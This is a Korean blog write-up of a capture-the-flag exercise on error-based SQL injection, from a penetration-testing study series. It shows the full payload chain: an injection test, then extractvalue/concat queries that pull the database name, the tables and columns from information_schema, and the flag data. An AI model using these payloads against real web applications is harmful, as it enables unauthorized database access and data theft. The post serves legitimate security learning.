이번 문제는 Error Based SQL Injection에 대한 기초적인 문제이다.
1. SQL Injection Point
우선 'normaltic'으로 검색해본다.
검색이 성공적으로 되는 것을 알 수 있다.
그 다음 SQL Injection이 가능한지 "normaltic' and '1' = '1" 를 실행해 보면
정상적으로 출력되는것으로 보아 해당 사이트는 SQL Injection이 가능하다는걸 알 수 있다.
SQL Injection중 어떤 방안을 접근할 지 알아보기 위해 "normaltic'"를 실행해 보면
SQL 관련 에러가 직접적으로 출력이 된다. 이는 Error Based SQL Injection을 사용하면 될 것 같다.
2. 에러를 출력 함수 선택
에러를 직접 추출하기 위해 'extractvalue' 함수를 사용해주겠다.
3. 공격 format 만들기
공격 format은 위의 정보를 바탕으로
normaltic' and extractvalue( '1', concat(0x3a, (__SQL__))) and '1' = '1
해당 구문으로 만들어 주었다.
4. DB명 출력
DB명 출력 구문은
normaltic' and extractvalue( '1', concat(0x3a, (select database()))) and '1' = '1
이렇게 작성하였고 출력해보면
위 처럼 DB명이 출력되는것을 알 수 있다.
5. Table명 출력
Table명 출력 구문은
normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(table_name) from information_schema.tables where table_schema='DB명'))) and '1' = '1
이렇게 작성하였고 이를 출력하면
총 3개의 테이블이 출력되는 것을 볼 수 있다.
6. Column 명 출력
위에 테이블 중 'flag'와 관련된 데이블에 대한 Column명 출력 구문은
normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(column_name) from information_schema.columns where table_name='테이블명'))) and '1' = '1
이렇게 작성하였고 이를 출력해보면
총 2개의 컬럼이 출력되는 것을 알 수 있다.
7. DATA 출력
"flag"와 관련한 컬럼에 대한 DATA 출력 구문은
normaltic' and extractvalue( '1', concat(0x3a, (select group_concat(컬럼명) from 테이블명))) and '1' = '1
이렇게 작성하였고 이를 출력해보면
플래그 값을 확인할 수 있다.
728x90
반응형
'모의해킹 > 모의해킹 스터디' 카테고리의 다른 글
모의해킹 스터디 CTF 문제 - SQL Injection 3 (0) | 2024.12.04 |
---|---|
모의해킹 스터디 CTF 문제 - SQL Injection (Blind Practice) (0) | 2024.12.04 |
모의해킹 스터디 7주차 정리 (0) | 2024.12.02 |
모의해킹 스터디 CTF 문제 - SQL Injection 2 (0) | 2024.11.27 |
모의해킹 스터디 CTF 문제 - SQL Injection 1 (0) | 2024.11.26 |